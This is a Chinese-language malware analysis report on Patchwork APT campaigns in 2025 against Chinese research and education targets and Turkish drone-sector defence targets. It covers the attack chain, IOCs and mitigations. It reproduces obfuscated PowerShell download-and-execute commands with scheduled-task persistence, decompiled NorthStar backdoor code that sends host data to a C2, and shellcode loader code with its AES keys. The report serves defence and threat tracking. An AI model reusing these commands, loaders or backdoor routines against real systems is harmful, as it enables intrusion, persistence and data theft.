2025年7月:Patchwork组织针对国内教育领域与土耳其国防领域的攻击事件分析报告

概述

  瑞星威胁情报平台近期捕获到Patchwork组织针对国内科教领域及土耳其国防领域的多起定向攻击。攻击者以伪装成PDF文档的快捷方式(.lnk)作为初始载荷,通过混淆的PowerShell命令从远程服务器下载诱饵文档与多个恶意程序,然后利用计划任务实现本地持久化。下载到本地的执行文件会解密出由开源工具Donut生成的ShellCode并最终运行NorthStarC2BADNEWS远程控制木马。

  Patchwork组织,又名摩诃草白象APT-Q-36Dropping Elephant,是一个疑似具有南亚某政府背景的APT组织,其最早攻击活动可追溯到2009年,至今依然活跃。该组织主要针对中国、巴基斯坦、孟加拉国等亚洲地区国家,以政府、军事、电力、工业、科研教育、外交和经济等高价值机构为攻击目标。

ATT&CK矩阵

战术 技术 具体行为
TA0002-执行 T1059-命令和脚本解释器 快捷方式会执行powershell命令
TA0002-执行 T1204-用户执行 需要用户主动执行
TA0003-持久化 T1053-计划任务/作业 创建计划任务定期启动恶意程序实现本地持久化
TA0005-防御规避 T1036-伪装 修改图标快捷方式伪装成pdf文档
TA0005-防御规避 T1027-混淆过的文件或信息 恶意载荷编码混淆后内嵌在执行文件内
TA0005-防御规避 T1055-进程注入 创建线程执行恶意载荷
TA0007-环境发现 T1083-枚举文件和目录 获取指定路径下目录和文件信息
TA0007-环境发现 T1057-收集进程信息 收集被入侵主机的进程列表
TA0007-环境发现 T1518-收集软件信息 收集被入侵主机的安全软件和已安装软件列表
TA0007-环境发现 T1082-收集系统信息 收集被入侵主机的操作系统和硬件信息
TA0007-环境发现 T1016-收集系统网络配置 收集被入侵主机的MAC地址和IP地址
TA0007-环境发现 T1033-探测系统所有者/用户 收集被入侵主机的用户名
TA0009-收集信息 T1113-屏幕截图 获取屏幕截图
TA0011-指挥与控制 T1573-加密通道 通过加密算法来隐藏命令和控制流量
TA0010-外传信息 T1020-自动外传 自动发送收集到的受害者机器信息
TA0010-外传信息 T1041-通过C2通道外传 C2通道同时可以接收木马回传的受害者机器信息

事件详情

  我们本次首先捕获到的是一起针对国内科研教育领域的攻击事件。攻击者利用快捷方式文件触发PowerShell脚本,通过伪装成吉林大学域名的C2服务器,下载诱饵PDF文件与恶意加载器。加载器内嵌采用Base64+AES-256-CBC加密的恶意载荷,解密后还原出由开源工具Donut生成的ShellCode,最终通过内存加载的方式运行远控木马NorthStarC2。该远控工具是Patchwork组织攻击活动中常见的核心组件之一。

攻击流程

image

样本分析

初始LNK文件分析

字段 内容
原始文件名 89565254.pdf.lnk
文件大小 2.49 KB (2548 bytes)
文件MD5 8930abf86e2e94b1a4b373e25d01f2ff
文件类型 LNK
病毒名 Downloader.PowerShell/LNK!1.12F1F
主要功能 下载文件,创建计划任务

初始样本为一个伪装成PDF文档的lnk文件,其内部通过conhost.exe调用PowerShell进程执行脚本,连接伪装为吉林大学域名的C2jlu-edu.org,并将诱饵PDF及后续恶意载荷下载至C:\Users\Public目录。随后将诱饵PDF复制至当前目录,创建名为GoogleErrorReport的计划任务执行下载的恶意载荷。整个流程结束后进行自删除以清理运行痕迹。

$ProgressPreference = 'SilentlyContinue';
$b='C:\Users';
iw''r https://jlu-edu.org/download/fetch/list1/18803/view/66e1c460-e71e-4dac-a35a-f2529b20e271 -OutFile $b\Public\89565254.pdf;
s''a''p''s $b\Public\89565254.pdf;
iw''r https://jlu-edu.org/download/fetch/list1/10884/view/fe35dfdc-e78f-4479-a142-3df61d6cbe6f -OutFile "$b\Public\hip";
r''e''n -Path "$b\Public\hip" -NewName "$b\Public\Winver.exe";
c''p''i "$b\Public\89565254.pdf" -destination .;
sch''ta''s''ks /c''r''e''a''te /S''c minute /''t''n'' GoogleErrorReport /t''r "$b\Public\Winver" /f;
e''r''a''s''e *d?.?n?

诱饵pdf内容与电力能源相关,应当是针对该方向的科教领域人员。

image

image

Rust加载器

字段 内容
原始文件名 Winver.exe
文件大小 219.00 KB (224256 bytes)
文件MD5 e5cfa25f8f3fab90dc1777ac1b96c890
文件类型 EXE
病毒名 Trojan.ShellCodeRunner!1.1302F
主要功能 加载后续shellcode

该文件为下载的恶意加载器,由Rust编写,运行后先读取加密载荷后通过Base64+AES‑256‑CBC算法解密,KEY为000204050401020308090A0B0C0D0E0F10111214151816111A191A1B1C1D1E1F,IV为000803030902060708090A0B0C0D0E0F,解密出由Donut生成的ShellCode

image

之后通过调用CreateThread函数执行ShellCode

if ( !((unsigned int (__fastcall *)(void *, size_t, __int64, __m128i *))VirtualProtect)(v31, v21, 16LL, &v111) )
  {
    v114.m128i_i64[0] = v20;
    v61.m128i_i64[0] = (__int64)&off_14002EE48;
    v61.m128i_i64[1] = 1LL;
    v62.m256i_i64[0] = 8LL;
    *(_OWORD *)&v62.m256i_u64[1] = 0LL;
    sub_14001B0F0(&v61, &off_14002EE58);
  }
  v33 = ((__int64 (__fastcall *)(_QWORD, _QWORD, void *, _QWORD, _DWORD, _QWORD))CreateThread)(
          0LL,
          0LL,
          v31,
          0LL,
          0,
          0LL);

ShellCode中解密出NorthStarC2并运行。

image

NorthStar后门

字段 内容
原始文件名 Protego.exe
文件大小 24.50 KB (25088 bytes)
文件MD5 29e584797a4c1bb71e8c1c018bd431ad
文件类型 EXE
病毒名 Backdoor.NorthStar!1.E66A
主要功能 远控木马

经分析该木马为开源远控NorthStar,为Patchwork组织惯用的开源远控木马之一,该木马运行首先会创建名为kiuwqyergljkwef的互斥体。

bool flag;
Program.mut = new Mutex(true, "kiuwqyergljkwef", ref flag);
if (!flag)
{
    Environment.Exit(0);
}
WebClient webClient = new WebClient();

之后会调用Accio类收集受害者机器信息,包括用户名、主机名、操作系统版本、当前用户权限、进程名等,其中主机UUID获取后会Base64编码处理。

private void _setEvar()
{
    this.mcadd = Environment.MachineName;
    this.user = WindowsIdentity.GetCurrent().Name;
    using (WindowsIdentity current = WindowsIdentity.GetCurrent())
    {
        WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
        this.admain = windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
    }
    this.wdir = Directory.GetCurrentDirectory();
    this.prcid = Process.GetCurrentProcess().Id;
    this.prcnm = Process.GetCurrentProcess().ProcessName;
    this.xpth = Process.GetCurrentProcess().MainModule.FileName;
    using (ManagementClass managementClass = new ManagementClass("Win32_ComputerSystemProduct"))
    {
        using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementClass.GetInstances().GetEnumerator())
        {
            if (enumerator.MoveNext())
            {
                ManagementObject managementObject = (ManagementObject)enumerator.Current;
                this.uniqid = managementObject.Properties["UUID"].Value.ToString();
            }
        }
    }
    this.uniqid = new Scourgify().Protean(Convert.ToBase64String(Encoding.UTF8.GetBytes(this.uniqid)));
}

// Token: 0x06000004 RID: 4 RVA: 0x000020E0 File Offset: 0x000002E0
private string setoperver()
{
    return (string)Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion", "ProductName", null);
}

在收集完信息后会生成一个随机的受害者ID,将受害者ID与其UUID加密发送回C2,之后接收C2发回的指令内容通过Base64+异或运算解密出后续指令的key

public void fStage(Accio acc, WebClient wb)
{
    if (Program.erctr < 20)
    {
        this._sid(acc);
        string str = this.lo.Protean(this.b64E(this.xop(acc.Cid, "eOvstoxSBbZGWsTtknc")));
        wb.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
        try
        {
            string uniqid = acc.uniqid;
            string data = "sosid=" + str + "&aryyr=bhiii&slid=" + uniqid;
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
            string encodedString = wb.UploadString(new string(Program.muri), data);
            acc.xkey = this.xop11(this.b64D(encodedString), new string(Program.keyt));
            Program.erctr = 0;
            this.SStage(acc, wb);
            return;
        }
        catch
        {
            Program.erctr++;
            Thread.Sleep(5000);
            this.fStage(acc, wb);
            return;
        }
    }
    Program.isCompl = false;
}

在获取完密钥后收集机器的出口IP并将此前收集的所有信息通过Base64+异或运算加密后发送回C2hxxps://arpawebdom.org/bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php

之后开启线程通过WMI查询受害者机器中的安全软件与已安装软件在加密后单独传回C2,在主线程中如果服务器返回包含NOT FOUND则尝试重新连接,如果不包括则顺利进入后续接受指令阶段。

public void SStage(Accio acc, WebClient wb)
{
    if (Program.erctr < 20)
    {
        string text = new Program().ipd();
        string uniqid = acc.uniqid;
        OperatingSystem osversion = Environment.OSVersion;
        string text2 = this.lo.Protean(this.b64E(this.xop(acc.opersys, "")));
        string text3 = this.lo.Protean(this.b64E(this.xop(acc.mcadd, "")));
        string text4 = this.lo.Protean(this.b64E(this.xop(acc.user, "")));
        string text5 = this.lo.Protean(this.b64E(this.xop(acc.xpth, "")));
        string text6 = this.lo.Protean(this.b64E(this.xop(acc.admain.ToString(), "")));
        string text7 = this.lo.Protean(this.b64E(this.xop(acc.prcid.ToString(), "")));
        string text8 = this.lo.Protean(this.b64E(this.xop(acc.Cid, "eOvstoxSBbZGWsTtknc")));
        string text9 = this.lo.Protean(this.b64E(this.xop(text, "eOvstoxSBbZGWsTtknc")));
        string data = string.Concat(new string[]
        {
            "sosid=",
            text8,
            "&slid=",
            uniqid,
            "&sys=",
            text2,
            "&madd=",
            text3,
            "&sls=",
            text4,
            "&cwd=",
            text5,
            "&prsid=",
            text7,
            "&rt=",
            text6,
            "&pubip=",
            text9
        });
        new Thread(delegate()
        {
            this.bkj(acc, wb);
        }).Start();
        wb.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
        try
        {
            if (!wb.UploadString(new string(Program.muri), data).Contains("NOT FOUND"))
            {
                Program.isCompl = true;
                Program.erctr = 0;
            }
            else
            {
                Program.erctr++;
                Thread.Sleep(5000);
                this.SStage(acc, wb);
            }
            return;
        }
        catch
        {
            Program.erctr++;
            Thread.Sleep(5000);
            this.SStage(acc, wb);
            return;
        }
    }
    Program.isCompl = false;
}

接受服务器指令并执行。

public string checkercmd(string command, string argument)
{
    if (command == "ping")
    {
        return "pong";
    }
    if (command == "pwd")
    {
        return this.wkdir();
    }
    if (command == "cd")
    {
        return this.setwkdir(argument);
    }
    if (command == "rm" || command == "del")
    {
        return this._deleteFile(argument);
    }
    if (command == "whoami")
    {
        return this._getUser();
    }
    if (command == "dir" || command == "ls")
    {
        if (argument.Length < 2)
        {
            return this._enumDir(this.wkdir());
        }
        return this._enumDir(argument);
    }
    else
    {
        if (command == "ipconfig" || command == "ifconfig")
        {
            return this._getIP();
        }
        if (command == "cat" || command == "type")
        {
            return this._getContent(argument);
        }
        if (command == "waittime" || command == "wait" || command == "responsetime" || command == "timer")
        {
            return this._setWaitTime(Program.acf, argument);
        }
        if (command == "screenshot" || command.Equals("schot"))
        {
            this.scrt(Program.acf);
            return "";
        }
        if (command == "upload" || command == "uploadfile")
        {
            return this.dfile(argument);
        }
        if (command == "ps" || command == "process" || command == "processes")
        {
            return this.gproc();
        }
        if (command == "enablecmd" || (command == "enable" && argument == "cmd"))
        {
            Program.cmdEn = true;
            return "Cmd mode enabled, all commands will be redirect to CMD. Response delay is : " + Program.acf.wTime.ToString() + " miliseconds";
        }
        if (command == "inmem")
        {
            return this.inm(argument);
        }
        if (command == "download" || command == "get")
        {
            return this.uaf(argument, Program.acf);
        }
        if (command == "downexe")
        {
            return this._ddexe(argument, Program.acf);
        }
        if (command.Contains("lksfjdgjkxv"))
        {
            this._cmdOnce(command, Program.acf);
            return "";
        }
        return "Command not found, you may need to enable CMD mode <enablecmd or enable cmd>";
    }
}

指令及对应功能具体如下:

指令 功能
die 结束客户端运行
ping 返回字符串"pong"
pwd 获取当前工作目录
cd 设置指定的新工作目录
rm、del 删除指定文件
whoami 获取当前用户名
dir、ls 枚举工作目录中的文件
ipconfig、ifconfig 获取IP地址
cat、type 获取指定文件内容
waittime、wait、responsetime、timer 设置睡眠时间
screenshot、schot 屏幕截屏
upload、uploadfile 下载文件
ps、process、processes 获取进程列表
enabledcmd、enable、cmd 启动命令行模式
inmen 内存中执行服务器传输的shellcode
download、get 上传本地文件
downexe 执行服务器下载的exe程序
lksfjdgjkxv 执行接收的cmd命令

关联分析

根据溯源查询我们还发现了该组织于今年4月和7月的另外两次攻击,其在今年4月的攻击我们只捕获到了初始的快捷方式文件,后续文件由于服务器失效获取失败,但是其于7月的另一次攻击我们则捕获到了其完整的攻击流程。

2025年4月Patchwork攻击分析

初始LNK文件分析

字段 内容
原始文件名 8754444113.pdf.lnk
文件大小 2.73 KB (2794 bytes)
文件MD5 4cc371651f43e31df87b9f08013a14f6
文件类型 LNK
病毒名 Downloader.PowerShell/LNK!1.12F1F
主要功能 下载文件,创建计划任务

该样本主要下载三个文件为一个诱饵文档一个Winver.exe与一个ItDoesAll.cfg,不过目前服务器已经失效无法获取到文件。根据文件名与下述我们捕获的其7月针对土耳其的攻击手法可以推测应当是使用Winver.exe加载ItDoesAll.cfg解密运行,在下载完成后创建计划任务GoogleErrorReport执行加载器Winver.exe

powershell $ProgressPreference = 'SilentlyContinue';
$b='C:\Users';iw''r https://mingom.breatlee.org/IKHohgFGY_65441546/KJjhiuoh_6645 -OutFile $b\Public\8754444113.pdf;
s''a''p''s $b\Public\8754444113.pdf;
iw''r https://mianyo.breatlee.org/kjught4gbtg_87484844/rfbfb_6456451 -OutFile "$b\Public\hip";
r''e''n -Path "$b\Public\hip" -NewName "$b\Public\Winver.exe";
iw''r https://mingo.breatlee.org/gfevffsrfrfv_5541465/hfjbgwegwebrg_98484 -OutFile "$b\Public\hipen";
r''e''n -Path "$b\Public\hipen" -NewName "$b\Public\ItDoesAll.cfg";
c''p''i "$b\Public\8754444113.pdf" -destination .;
sch''ta''s''ks /c''r''e''a''te /S''c minute /''t''n'' GoogleErrorReport /t''r "$b\Public\Winver" /f;
e''r''a''s''e *d?.?n?

2025年7月Patchwork针对土耳其的攻击分析

在我们编写报告时发现了该组织又一次发起了攻击,其初始投放名为Unmanned_Vehicle_Systems_Conference_2025_In_Istanbul.pdf.lnk的载荷,其中的下载域名则为expouav.org,结合域名、文件名、钓鱼文档内容可以推测其意图窃取土耳其的无人机方面的信息。

初始LNK文件分析

字段 内容
原始文件名 Unmanned_Vehicle_Systems_Conference_2025_In_Istanbul.pdf.lnk
文件大小 5.11 KB (5231 bytes)
文件MD5 ef1e5823cbce02eb068942ebc39eb308
文件类型 LNK
病毒名 Downloader.PowerShell/LNK!1.12F79
主要功能 下载文件,创建计划任务

其此次攻击中依旧是使用lnk文件下载远程文件运行,不过本次的利用手法发生了较大的变化。在本次攻击中Patchwork组织并没有使用conhost.exe去启动PowerShell进程,而是转为使用C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\路径下的一个名为Pester.bat的批处理脚本去运行PowerShell

image

经过分析该批处理脚本实际作用为运行指定PowerShell脚本,自Windows 10系统才开始出现。该手段可能被攻击者用于筛选操作系统,同时也是攻击者规避EDR的一种方法。

@echo off
SET DIR=%~dp0%
SET ARGS=%*
if NOT '%1'=='' SET ARGS=%ARGS:"=\"%
if '%1'=='/?' goto usage
if '%1'=='-?' goto usage
if '%1'=='?' goto usage
if '%1'=='/help' goto usage
if '%1'=='help' goto usage

@PowerShell -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command ^
 "& Import-Module '%DIR%..\Pester.psm1';  & { Invoke-Pester -EnableExit %ARGS%}"

goto finish
:usage
if NOT '%2'=='' goto help

echo To run pester for tests, just call pester or runtests with no arguments
echo.
echo Example: pester
echo.
echo For Detailed help information, call pester help with a help topic. See
echo help topic about_Pester for a list of all topics at the end
echo.
echo Example: pester help about_Pester
echo.
goto finish

:help
@PowerShell -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command ^
  "& Import-Module '%DIR%..\Pester.psm1'; & { Get-Help %2}"

:finish
exit /B %errorlevel%

攻击者在此次的行动中下载的文件也有所不同,此次下载诱饵PDF到C:\Users\Public目录下,同时下载了白加黑组件vlc.exelibvlc.dll、加密载荷vlc.log以及一个schtasks.exeC:\Windows\Tasks目录下,通过自下载的schtasks.exe去添加计划任务。

powershell s''l''eep 1;
$ProgressPreference = 'SilentlyContinue';
$a='https:';
$b='C:\Users\';
$c='C:\Windows\';
wg''et $a//expouav.org/download/fetch/list3/12717/view/0d5a0411-0a85-42cf-928c-dd9218019f3b -OutFile $b\Public\Unmanned_Vehicle_Systems_Conference_2025_In_Istanbul.pdf;
s''ap''s "$b\Public\Unmanned_Vehicle_Systems_Conference_2025_In_Istanbul.pdf";
wg''et $a//expouav.org/download/fetch/list7/40275/view/e49c7ae0-f3d1-4073-83bb-b4ecba929fec -Outfile $c\Tasks\lama;
r''e''n -Path "$c\Tasks\lama" -NewName "$c\Tasks\vlc.pepxpe";
r''e''n -Path "$c\Tasks\vlc.pepxpe" -NewName ((Split-Path "$c\Tasks\vlc.pepxpe" -Leaf) -replace "p", "");
wg''et $a//expouav.org/download/fetch/list5/19577/view/b5aaa6f0-6259-4ccb-b31a-d21e40c2eeff -Outfile $c\Tasks\lake;
r''e''n -Path "$c\Tasks\lake" -NewName "$c\Tasks\libvlc.pdplpl";
r''e''n -Path "$c\Tasks\libvlc.pdplpl" -NewName ((Split-Path "$c\Tasks\libvlc.pdplpl" -Leaf) -replace "p", "");
wg''et $a//expouav.org/download/fetch/list6/41568/view/701bbff4-8fcb-4e9c-8577-00aed06d8443 -Outfile $c\Tasks\dalai;
r''e''n -Path "$c\Tasks\dalai" -NewName "$c\Tasks\Winver.pepxpe";
r''e''n -Path "$c\Tasks\Winver.pepxpe" -NewName ((Split-Path "$c\Tasks\Winver.pepxpe" -Leaf) -replace "p", "");
c''p''i "$b\Public\Unmanned_Vehicle_Systems_Conference_2025_In_Istanbul.pdf" -destination .;
wg''et $a//expouav.org/download/fetch/list8/20041/view/c6795195-6e84-4720-9420-e03da09b2187 -OutFile $c\Tasks\vlc.log;
$d="$c\Tasks\Winver";
s''ap''s $d -a "/Create", '/sc', 'minute', '/tn', 'NewErrorReport', '/tr', "$c\Tasks\vlc", '/f';
e''r''a''s''e *d?.?n?

下载的诱饵文档如下,其应当是想要窃取无人机领域的军事信息。

image

image

加载器

字段 内容
原始文件名 libvlc.dll
文件大小 214.67 KB (219817 bytes)
文件MD5 279a5b41fe463729be3cb3b51091ef42
文件类型 DLL
病毒名 Trojan.ShellCodeRunner!1.13035
主要功能 解密载荷并加载

该黑dll运行后会读取之前下载在同目录下的vlc.log文件,将该文件的前16字节作为解密IV。

Stream = fopen("C:\\Windows\\Tasks\\vlc.log", "rb");
if ( Stream )
{
fseek(Stream, 0, 2);
ElementCount = ftell(Stream);
fseek(Stream, 0, 0);
Buffer = malloc(ElementCount + 1);
if ( Buffer )
{
    fread(Buffer, 1u, ElementCount, Stream);
    *((_BYTE *)Buffer + ElementCount) = 0;
    fclose(Stream);
    Block = (void *)hex_to_bytes((const char *)Buffer, &v24);
    free(Buffer);

之后通过调用CryptoAPI使用AES‑256‑CBC算法解密ShellCode,KEY为76bhu93FGRjZX5hjg76bhue93FGRjZX5,IV为D71094CA3E6B45C0FED07E69A6C524BD,解密后载荷依旧为Donut生成的ShellCode

qmemcpy(v18, "76bhu93FGRjZX5hjg76bhue93FGRjZX5", sizeof(v18));
phKey = 0;
if ( CryptImportKey(hProv, pbData, 0x2Cu, 0, 0, &phKey) )
{
    if ( CryptSetKeyParam(phKey, 1u, v20, 0) )
    {
    v29 = (BYTE *)malloc(Size);
    if ( v29 )
    {
        memcpy(v29, Src, Size);
        pdwDataLen = Size;
        if ( CryptDecrypt(phKey, 0, 1, 0, v29, &pdwDataLen) )
        {
        v11 = 0;
        v10 = pdwDataLen;
        hModule = GetModuleHandleW(L"ntdll.dll");
        if ( hModule )
        {
            NtAllocateVirtualMemory = GetProcAddress(hModule, "NtAllocateVirtualMemory");
            NtProtectVirtualMemory = GetProcAddress(hModule, "NtProtectVirtualMemory");
            NtCreateThreadEx = GetProcAddress(hModule, "NtCreateThreadEx");
            if ( NtAllocateVirtualMemory && NtProtectVirtualMemory && NtCreateThreadEx )
            {
            v5 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))NtAllocateVirtualMemory;
            CurrentProcess = GetCurrentProcess();
            if ( v5(CurrentProcess, &v11, 0, &v10, 12288, 4) )
            {
                return -3;
            }
            else
            {
                memcpy(v11, v29, v10);
                v7 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))NtProtectVirtualMemory;
                v8 = GetCurrentProcess();
                if ( v7(v8, &v11, &v10, 32, v9) )
                {
                return -4;
                }
                else
                {
                ((void (*)(void))v11)();
                return 0;
                }

解密后载荷如下:

image

BADNEWS后门

字段 内容
文件大小 214.67 KB (219817 bytes)
文件MD5 e81dd9e17ba0906cb158cc5cb98ecfa3
文件类型 EXE
病毒名 Backdoor.[Patchwork]BadNews!1.1303A
主要功能 收集信息并执行指令

经过分析其最终加载远控为Patchwork组织的BADNEWS远控后门,此次捕获到的版本与我们在过往的分析报告中分析的版本在收集的信息方面并没有什么改动,只是将其收集到的信息都经过了Base64+AES‑256‑CBC+Base64的加密操作,其中AES算法KEY为CpMkPpVilRqaPNjXhpSmBir41GLb4FuA,IV为pyYZ4mScjILhsqKB

image

最终其将收集到的信息整理为uds=%s$!!$%s$!!$%s$!!$%s$!!$%s$!!$%s$!!$的格式在线程中传回C2hxxps://roseserve.org/YcKOjLMxiwCZfSS/comrCVPEffFiPvF.php

strcpy(ArgList, "uds");
sub_4010B0((char *)Block, "%s=%s$!!$%s$!!$%s$!!$%s$!!$%s$!!$%s$!!$", (char)ArgList);
v145 = 0;
v146 = 0;
*(_OWORD *)Parameter = 0LL;
sub_403360(Parameter, v33, strlen((const char *)v33));
LOBYTE(v165) = 24;
j_j_free(v33);
if ( CreateThread_(0, 0, sub_4122A0, Parameter, 0, &ThreadId) )

之后进入接受指令环节,此次其对指令做了一些增删改变,并且将每个指令的执行全部转移到了单独的线程中,经过分析其执行功能如下。

指令 功能
3Up3 下载文件并运行之后回传结果
3gjdfghj6 执行CMD指令并回传结果
3gnfm9 发送心跳包
3ngjfng5 下载文件并回传结果
3CRT3 传入文件路径并进行远线程注入
3APC3 传入文件路径并进行APC注入
3SC3 截图并回传

对比其以往的BADNEWS指令可以发现Patchwork正在将远控指令逐步与指令对应的功能绑定,并且新增了多种注入方式增加其后渗透流程中下发载荷成功运行的概率,可以发现该组织正在日渐完善BADNEWS丰富其武器库以更加适配其攻击行动。

总结:Patchwork组织近期攻击变化

  本次报告中Patchwork攻击方向与使用方式总结如下:

时间 2025年4月 2025年7月 2025年7月
攻击国家 中国 中国 土耳其
攻击行业 科教 国防
初始载荷 恶意lnk文件 恶意lnk文件 恶意lnk文件
加载器语言 Rust C++
ShellCode加载方式 创建线程 直接调用
ShellCode生成工具 Donut Donut
最终载荷 NorthStarC2后门 BADNEWS后门

  该组织今年的攻击活动依然热衷于LNK文件加载PowerShell脚本下载后续载荷运行,依然是使用Donut生成的ShellCode加载各类开源远控软件或者自身的BADNEWS后门,不过其整体攻击流程虽然差不多但是其具体的技术细节还是存在不少变化的,从一开始通过conhost.exe加载PowerShell脚本变为了通过系统所带的Pester.bat去加载,一定程度上规避EDR检测,之后下载的载荷也从直接的加载器变为下载白加黑组件和加密载荷,并且还下载了一个重命名的schtasks.exe去添加计划进一步增强了动态免杀能力。可见Patchwork在攻击链的各环节持续优化免杀与反检测手段,从其加载手法到其自有后门的持续更新均体现了该组织的高度活跃,我们也会对其进行持续跟踪。

攻击过程可视化(EDR)

  瑞星EDR的威胁调查功能为恶意代码的溯源分析提供可视化的应用程序关系图,它可从任意事件或关键元素进行溯源并梳理攻击过程,定位恶意代码活动的关键链条。结合AI对攻击流程进行精准分析,全方位还原恶意代码如何从攻击面入侵、主机内如何持续性活动的完整攻击链。本次攻击中还原了攻击者从执行到下载的过程。

image

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

沦陷信标(IOC)

  • MD5

    8930abf86e2e94b1a4b373e25d01f2ff
    e5cfa25f8f3fab90dc1777ac1b96c890
    29e584797a4c1bb71e8c1c018bd431ad
    4cc371651f43e31df87b9f08013a14f6
    ef1e5823cbce02eb068942ebc39eb308
    279a5b41fe463729be3cb3b51091ef42
    e81dd9e17ba0906cb158cc5cb98ecfa3
  • URL

    hxxps://arpawebdom.org/bIHTfcVHegEoMrv/WCcod7JY3zwUpDH.php
    hxxps://roseserve.org/YcKOjLMxiwCZfSS/comrCVPEffFiPvF.php
  • Domain

    jlu-edu.org
    arpawebdom.org
    mingom.breatlee.org
    mianyo.breatlee.org
    mingo.breatlee.org
    expouav.org
    roseserve.org
  • 瑞星病毒名

    Downloader.PowerShell/LNK!1.12F1F
    Downloader.PowerShell/LNK!1.12F79
    Backdoor.[Patchwork]BadNews!1.1303A
    Trojan.ShellCodeRunner!1.13035
    Trojan.ShellCodeRunner!1.1302F

参考链接

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *